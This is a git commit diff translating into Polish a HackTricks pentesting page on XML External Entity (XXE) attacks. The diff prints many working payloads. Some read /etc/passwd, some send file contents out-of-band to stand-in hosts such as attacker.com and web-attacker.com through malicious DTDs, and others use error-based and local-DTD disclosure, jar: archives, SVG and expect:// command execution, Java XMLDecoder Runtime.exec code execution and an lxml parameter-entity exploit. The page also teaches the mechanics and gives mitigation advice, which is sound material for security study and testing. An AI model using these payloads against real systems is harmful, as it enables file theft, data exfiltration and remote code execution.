Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to pl

This commit is contained in:
Translator 2025-07-28 12:30:09 +00:00
parent 58e72c241e
commit 493aa7771e

View File

@ -1,10 +1,5 @@
# XXE - XEE - XML External Entity # XXE - XEE - XML External Entity
{{#include /banners/hacktricks-training.md}}
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Podstawy XML ## Podstawy XML
@ -15,7 +10,7 @@ XML to język znaczników zaprojektowany do przechowywania i transportu danych,
- **Definiowanie elementów XML**: XML pozwala na definiowanie typów elementów, określając, jak elementy powinny być zbudowane i jakie treści mogą zawierać, od dowolnego typu treści po konkretne elementy podrzędne. - **Definiowanie elementów XML**: XML pozwala na definiowanie typów elementów, określając, jak elementy powinny być zbudowane i jakie treści mogą zawierać, od dowolnego typu treści po konkretne elementy podrzędne.
- **Definicja typu dokumentu (DTD)**: DTD są kluczowe w XML do definiowania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją, kierując, jak dokumenty są formatowane i walidowane. - **Definicja typu dokumentu (DTD)**: DTD są kluczowe w XML do definiowania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją, kierując, jak dokumenty są formatowane i walidowane.
- **Własne i zewnętrzne encje**: XML wspiera tworzenie własnych encji w ramach DTD dla elastycznej reprezentacji danych. Zewnętrzne encje, definiowane za pomocą URL, budzą obawy dotyczące bezpieczeństwa, szczególnie w kontekście ataków XML External Entity (XXE), które wykorzystują sposób, w jaki parsery XML obsługują zewnętrzne źródła danych: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>` - **Własne i zewnętrzne encje**: XML wspiera tworzenie własnych encji w ramach DTD dla elastycznej reprezentacji danych. Zewnętrzne encje, definiowane za pomocą URL, budzą obawy dotyczące bezpieczeństwa, szczególnie w kontekście ataków XML External Entity (XXE), które wykorzystują sposób, w jaki parsery XML obsługują zewnętrzne źródła danych: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Wykrywanie XXE za pomocą encji parametrów**: Do wykrywania podatności XXE, szczególnie gdy konwencjonalne metody zawodzą z powodu środków bezpieczeństwa parsera, można wykorzystać encje parametrów XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie zapytań DNS lub HTTP do kontrolowanej domeny, aby potwierdzić podatność. - **Wykrywanie XXE za pomocą encji parametru**: Do wykrywania podatności XXE, szczególnie gdy konwencjonalne metody zawodzą z powodu środków bezpieczeństwa parsera, można wykorzystać encje parametru XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie zapytań DNS lub żądań HTTP do kontrolowanej domeny, aby potwierdzić podatność.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>` - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>` - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -54,7 +49,7 @@ Ten drugi przypadek powinien być przydatny do wyodrębnienia pliku, jeśli serw
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data> <data>&example;</data>
``` ```
W tym trzecim przypadku zauważ, że deklarujemy `Element stockCheck` jako ANY. W tym trzecim przypadku zauważamy, że deklarujemy `Element stockCheck` jako ANY.
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [ <!DOCTYPE data [
@ -70,7 +65,7 @@ W tym trzecim przypadku zauważ, że deklarujemy `Element stockCheck` jako ANY.
### Lista katalogów ### Lista katalogów
W aplikacjach opartych na **Java** może być możliwe **wypisanie zawartości katalogu** za pomocą XXE z ładunkiem takim jak (po prostu pytając o katalog zamiast pliku): W aplikacjach opartych na **Java** może być możliwe **wylistowanie zawartości katalogu** za pomocą XXE z ładunkiem takim jak (po prostu pytając o katalog zamiast pliku):
```xml ```xml
<!-- Root / --> <!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root> <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -96,7 +91,7 @@ Używając **wcześniej skomentowanej techniki**, możesz sprawić, że serwer u
``` ```
### "Blind" SSRF - Exfiltracja danych poza pasmem ### "Blind" SSRF - Exfiltracja danych poza pasmem
**W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksportować je za pomocą \_ftp://**\_ używając na przykład tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie opiera się na** [**Portswigger lab tutaj**](https://portswigger.net/web-security/xxe/blind)**.** **W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksfiltrować je za pomocą \_ftp://**\_ używając na przykład tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie opiera się na** [**laboratorium Portswigger tutaj**](https://portswigger.net/web-security/xxe/blind)**.**
W podanym złośliwym DTD przeprowadzane są szereg kroków w celu eksfiltracji danych: W podanym złośliwym DTD przeprowadzane są szereg kroków w celu eksfiltracji danych:
@ -111,22 +106,22 @@ Struktura jest następująca:
``` ```
Kroki wykonywane przez ten DTD obejmują: Kroki wykonywane przez ten DTD obejmują:
1. **Definicja encji parametru:** 1. **Definicja jednostek parametrów:**
- Encja parametru XML, `%file`, jest tworzona, odczytując zawartość pliku `/etc/hostname`. - Jednostka parametru XML, `%file`, jest tworzona, odczytując zawartość pliku `/etc/hostname`.
- Inna encja parametru XML, `%eval`, jest definiowana. Dynamicznie deklaruje nową encję parametru XML, `%exfiltrate`. Encja `%exfiltrate` jest ustawiona na wykonanie żądania HTTP do serwera atakującego, przekazując zawartość encji `%file` w ciągu zapytania URL. - Inna jednostka parametru XML, `%eval`, jest definiowana. Dynamicznie deklaruje nową jednostkę parametru XML, `%exfiltrate`. Jednostka `%exfiltrate` jest ustawiona na wykonanie żądania HTTP do serwera atakującego, przekazując zawartość jednostki `%file` w ciągu zapytania URL.
2. **Wykonanie encji:** 2. **Wykonanie jednostek:**
- Encja `%eval` jest wykorzystywana, co prowadzi do wykonania dynamicznej deklaracji encji `%exfiltrate`. - Jednostka `%eval` jest wykorzystywana, co prowadzi do wykonania dynamicznej deklaracji jednostki `%exfiltrate`.
- Encja `%exfiltrate` jest następnie używana, co wyzwala żądanie HTTP do określonego URL z zawartością pliku. - Jednostka `%exfiltrate` jest następnie używana, co wyzwala żądanie HTTP do określonego URL z zawartością pliku.
Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL takim jak `http://web-attacker.com/malicious.dtd`. Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL takim jak `http://web-attacker.com/malicious.dtd`.
**Ładunek XXE:** Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE: **XXE Payload:** Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
``` ```
Ten ładunek definiuje zewnętrzny parametr XML `%xxe` i włącza go w DTD. Gdy jest przetwarzany przez parser XML, ten ładunek pobiera zewnętrzny DTD z serwera atakującego. Parser następnie interpretuje DTD w linii, wykonując kroki opisane w złośliwym DTD, co prowadzi do eksfiltracji pliku `/etc/hostname` na serwer atakującego. Ten ładunek definiuje zewnętrzny byt parametru XML `%xxe` i włącza go w DTD. Gdy jest przetwarzany przez parser XML, ten ładunek pobiera zewnętrzny DTD z serwera atakującego. Parser następnie interpretuje DTD w linii, wykonując kroki opisane w złośliwym DTD, co prowadzi do eksfiltracji pliku `/etc/hostname` na serwer atakującego.
### Błąd oparty (Zewnętrzny DTD) ### Błąd oparty (Zewnętrzny DTD)
@ -134,10 +129,10 @@ Ten ładunek definiuje zewnętrzny parametr XML `%xxe` i włącza go w DTD. Gdy
Komunikat o błędzie parsowania XML, ujawniający zawartość pliku `/etc/passwd`, można wywołać za pomocą złośliwego zewnętrznego Definicji Typu Dokumentu (DTD). Osiąga się to poprzez następujące kroki: Komunikat o błędzie parsowania XML, ujawniający zawartość pliku `/etc/passwd`, można wywołać za pomocą złośliwego zewnętrznego Definicji Typu Dokumentu (DTD). Osiąga się to poprzez następujące kroki:
1. Definiuje się parametr XML o nazwie `file`, który zawiera zawartość pliku `/etc/passwd`. 1. Definiuje się byt parametru XML o nazwie `file`, który zawiera zawartość pliku `/etc/passwd`.
2. Definiuje się parametr XML o nazwie `eval`, włączający dynamiczną deklarację dla innego parametru XML o nazwie `error`. Ten byt `error`, po ocenie, próbuje załadować nieistniejący plik, używając zawartości bytu `file` jako jego nazwy. 2. Definiuje się byt parametru XML o nazwie `eval`, włączający dynamiczną deklarację dla innego bytu parametru XML o nazwie `error`. Ten byt `error`, po ocenie, próbuje załadować nieistniejący plik, włączając zawartość bytu `file` jako swoją nazwę.
3. Wywoływany jest byt `eval`, co prowadzi do dynamicznej deklaracji bytu `error`. 3. Wywoływany jest byt `eval`, co prowadzi do dynamicznej deklaracji bytu `error`.
4. Wywołanie bytu `error` skutkuje próbą załadowania nieistniejącego pliku, co generuje komunikat o błędzie, który zawiera zawartość pliku `/etc/passwd` jako część nazwy pliku. 4. Wywołanie bytu `error` skutkuje próbą załadowania nieistniejącego pliku, co produkuje komunikat o błędzie, który zawiera zawartość pliku `/etc/passwd` jako część nazwy pliku.
Złośliwy zewnętrzny DTD można wywołać za pomocą następującego XML: Złośliwy zewnętrzny DTD można wywołać za pomocą następującego XML:
```xml ```xml
@ -172,8 +167,8 @@ Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w `/usr/lo
``` ```
Zarysowane kroki są realizowane przez ten DTD: Zarysowane kroki są realizowane przez ten DTD:
- Definicja encji parametru XML o nazwie `local_dtd` obejmuje zewnętrzny plik DTD znajdujący się w systemie plików serwera. - Definicja encji parametru XML o nazwie `local_dtd` zawiera zewnętrzny plik DTD znajdujący się w systemie plików serwera.
- Następuje redefinicja encji parametru XML `custom_entity`, pierwotnie zdefiniowanej w zewnętrznym DTD, aby otoczyć [eksploit XXE oparty na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ta redefinicja ma na celu wywołanie błędu analizy, ujawniając zawartość pliku `/etc/passwd`. - Następuje redefinicja encji parametru XML `custom_entity`, pierwotnie zdefiniowanej w zewnętrznym DTD, aby otoczyć [eksploit XXE oparty na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ta redefinicja ma na celu wywołanie błędu parsowania, ujawniając zawartość pliku `/etc/passwd`.
- Poprzez zastosowanie encji `local_dtd`, zewnętrzny DTD jest zaangażowany, obejmując nowo zdefiniowaną encję `custom_entity`. Ta sekwencja działań prowadzi do emisji komunikatu o błędzie, który jest celem eksploitu. - Poprzez zastosowanie encji `local_dtd`, zewnętrzny DTD jest zaangażowany, obejmując nowo zdefiniowaną encję `custom_entity`. Ta sekwencja działań prowadzi do emisji komunikatu o błędzie, który jest celem eksploitu.
**Przykład z życia wzięty:** Systemy korzystające z środowiska graficznego GNOME często mają DTD w `/usr/share/yelp/dtd/docbookx.dtd`, zawierający encję o nazwie `ISOamso`. **Przykład z życia wzięty:** Systemy korzystające z środowiska graficznego GNOME często mają DTD w `/usr/share/yelp/dtd/docbookx.dtd`, zawierający encję o nazwie `ISOamso`.
@ -193,7 +188,7 @@ Zarysowane kroki są realizowane przez ten DTD:
``` ```
![](<../images/image (625).png>) ![](<../images/image (625).png>)
Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, którego używa serwer, i **szukając domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje: Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, które używa serwer, i **szukając domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje:
```xml ```xml
<!DOCTYPE foo [ <!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -226,7 +221,7 @@ Testing 0 entities : []
Aby uzyskać bardziej szczegółowe wyjaśnienie tego ataku, **sprawdź drugą sekcję** [**tego niesamowitego posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**. Aby uzyskać bardziej szczegółowe wyjaśnienie tego ataku, **sprawdź drugą sekcję** [**tego niesamowitego posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji webowych**, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja webowa może pozwalać użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, nieuchronnie będzie musiał sparsować przynajmniej jeden plik XML. Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji webowych**, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja webowa może pozwalać użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, niezbędne będzie przetworzenie przynajmniej jednego pliku XML.
Aby przetestować tę podatność, konieczne jest stworzenie **pliku Microsoft Office zawierającego ładunek XXE**. Pierwszym krokiem jest utworzenie pustego katalogu, do którego dokument może zostać rozpakowany. Aby przetestować tę podatność, konieczne jest stworzenie **pliku Microsoft Office zawierającego ładunek XXE**. Pierwszym krokiem jest utworzenie pustego katalogu, do którego dokument może zostać rozpakowany.
@ -238,7 +233,7 @@ Na koniec plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcze
Teraz stworzony plik można przesłać do potencjalnie podatnej aplikacji webowej i można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator. Teraz stworzony plik można przesłać do potencjalnie podatnej aplikacji webowej i można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator.
### Protokół: jar ### Jar: protokół
Protokół **jar** jest dostępny wyłącznie w **aplikacjach Java**. Został zaprojektowany, aby umożliwić dostęp do plików w archiwum **PKZIP** (np. `.zip`, `.jar` itp.), obsługując zarówno pliki lokalne, jak i zdalne. Protokół **jar** jest dostępny wyłącznie w **aplikacjach Java**. Został zaprojektowany, aby umożliwić dostęp do plików w archiwum **PKZIP** (np. `.zip`, `.jar` itp.), obsługując zarówno pliki lokalne, jak i zdalne.
``` ```
@ -246,7 +241,7 @@ jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt
``` ```
> [!CAUTION] > [!CAUTION]
> Aby uzyskać dostęp do plików wewnątrz plików PKZIP, jest to **super przydatne do nadużywania XXE za pomocą systemowych plików DTD.** Sprawdź [ten rozdział, aby dowiedzieć się, jak nadużywać systemowych plików DTD](xxe-xee-xml-external-entity.md#error-based-system-dtd). > Aby uzyskać dostęp do plików wewnątrz plików PKZIP, jest to **super przydatne do nadużywania XXE za pomocą systemowych plików DTD.** Sprawdź [tę sekcję, aby dowiedzieć się, jak nadużywać systemowych plików DTD](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków: Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków:
@ -256,12 +251,12 @@ Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar
4. Odczytywany jest konkretny plik w archiwum, `file.zip`. 4. Odczytywany jest konkretny plik w archiwum, `file.zip`.
5. Po operacji wszelkie tymczasowe pliki utworzone w tym procesie są usuwane. 5. Po operacji wszelkie tymczasowe pliki utworzone w tym procesie są usuwane.
Interesującą techniką przerywania tego procesu na drugim kroku jest utrzymywanie połączenia z serwerem otwartego w nieskończoność podczas serwowania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogą być wykorzystane do tego celu, w tym serwer Python (`slow_http_server.py`) i serwer Java (`slowserver.jar`). Interesującą techniką przerwania tego procesu na drugim kroku jest utrzymanie połączenia z serwerem otwartego w nieskończoność podczas serwowania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogą być wykorzystane do tego celu, w tym serwer Python (`slow_http_server.py`) i serwer Java (`slowserver.jar`).
```xml ```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo> <foo>&xxe;</foo>
``` ```
> [!CAUTION] > [!OSTRZEŻENIE]
> Pisanie plików w tymczasowym katalogu może pomóc w **eskalacji innej podatności, która dotyczy przechodzenia ścieżek** (takiej jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.). > Pisanie plików w tymczasowym katalogu może pomóc w **eskalacji innej podatności, która dotyczy przechodzenia ścieżek** (takiej jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.).
### XSS ### XSS
@ -339,7 +334,7 @@ Inna metoda polega na próbie **wykonywania poleceń** za pomocą wrappera PHP "
<image xlink:href="expect://ls"></image> <image xlink:href="expect://ls"></image>
</svg> </svg>
``` ```
W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, podkreślając potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa. W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, co podkreśla potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa.
Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) po więcej informacji! Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) po więcej informacji!
@ -413,7 +408,7 @@ To działa tylko wtedy, gdy serwer XML akceptuje protokół `data://`.
### UTF-7 ### UTF-7
Możesz użyć \[**"Encode Recipe**" z cyberchef tutaj ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)do]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do)) przekształcić na UTF-7. Możesz użyć \[**"Encode Recipe**" z cyberchef tutaj ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)do]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do)) do transformacji na UTF-7.
```xml ```xml
<!xml version="1.0" encoding="UTF-7"?--> <!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -479,7 +474,7 @@ Przykład DTD:
``` ```
## XLIFF - XXE ## XLIFF - XXE
Ten przykład jest inspirowany w [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) Ten przykład jest inspirowany [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standaryzacji wymiany danych w procesach lokalizacji. Jest to format oparty na XML, głównie używany do transferu danych lokalizacyjnych między narzędziami podczas lokalizacji oraz jako wspólny format wymiany dla narzędzi CAT (Computer-Aided Translation). XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standaryzacji wymiany danych w procesach lokalizacji. Jest to format oparty na XML, głównie używany do transferu danych lokalizacyjnych między narzędziami podczas lokalizacji oraz jako wspólny format wymiany dla narzędzi CAT (Computer-Aided Translation).
@ -519,9 +514,9 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff> <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
``` ```
To podejście ujawnia, że User Agent wskazuje na użycie Java 1.8. Zauważoną ograniczeniem tej wersji Java jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, przy użyciu techniki Out of Band. To podejście ujawnia, że User Agent wskazuje na użycie Java 1.8. Zauważoną ograniczeniem tej wersji Javy jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, przy użyciu techniki Out of Band.
Ekstrakcja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest skonstruowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku: Error-Based Data Exfiltration Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest skonstruowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
```xml ```xml
<!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>"> <!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
@ -614,7 +609,7 @@ Używając filtru base64 w PHP
``` ```
## Java XMLDecoder XEE do RCE ## Java XMLDecoder XEE do RCE
XMLDecoder to klasa Java, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik zdoła zmusić aplikację do użycia dowolnych danych w wywołaniu metody **readObject**, natychmiast uzyska wykonanie kodu na serwerze. XMLDecoder to klasa Java, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik zdoła skłonić aplikację do użycia dowolnych danych w wywołaniu metody **readObject**, natychmiast uzyska wykonanie kodu na serwerze.
### Używanie Runtime().exec() ### Używanie Runtime().exec()
```xml ```xml
@ -694,7 +689,7 @@ https://github.com/luisfontes19/xxexploiter
#### 1. Wykorzystywanie lxml < 5.4.0 #### 1. Wykorzystywanie lxml < 5.4.0
1. Zidentyfikuj lub stwórz *lokalny* DTD na dysku, który definiuje **niezdefiniowaną** encję parametru (np. `%config_hex;`). 1. Zidentyfikuj lub stwórz *lokalny* DTD na dysku, który definiuje **niezdefiniowaną** encję parametru (np. `%config_hex;`).
2. Stwórz wewnętrzny DTD, który: 2. Stwórz wewnętrzny DTD, który:
* Ładuje lokalny DTD z `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`. * Ładuje lokalny DTD za pomocą `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
* Redefiniuje niezdefiniowaną encję tak, aby: * Redefiniuje niezdefiniowaną encję tak, aby:
- Odczytywała docelowy plik (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`). - Odczytywała docelowy plik (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
- Budowała inną encję parametru, która odnosi się do **nieprawidłowej ścieżki** zawierającej wartość `%flag;` i wywołuje błąd parsera (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`). - Budowała inną encję parametru, która odnosi się do **nieprawidłowej ścieżki** zawierającej wartość `%flag;` i wywołuje błąd parsera (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
@ -733,15 +728,48 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
``` ```
#### Kluczowe wnioski #### Kluczowe wnioski
* **Encje parametrów** są nadal rozwijane przez libxml2, nawet gdy `resolve_entities` powinno blokować XXE. * **Encje parametrów** są nadal rozwijane przez libxml2, nawet gdy `resolve_entities` powinno blokować XXE.
* **Nieprawidłowy URI** lub **nieistniejący plik** wystarczą, aby połączyć kontrolowane dane w zgłoszonej wyjątku. * **Nieprawidłowy URI** lub **nieistniejący plik** wystarczą, aby połączyć kontrolowane dane w zgłoszonym wyjątku.
* Technika działa **bez łączności wychodzącej**, co czyni ją idealną dla ściśle filtrowanych środowisk. * Technika działa **bez łączności wychodzącej**, co czyni ją idealną dla ściśle filtrowanych środowisk.
#### Wskazówki dotyczące łagodzenia #### Wskazówki dotyczące łagodzenia
* Zaktualizuj do **lxml ≥ 5.4.0** i upewnij się, że podstawowy **libxml2** jest **≥ 2.13.8**. * Zaktualizuj do **lxml ≥ 5.4.0** i upewnij się, że używana **libxml2** jest **≥ 2.13.8**.
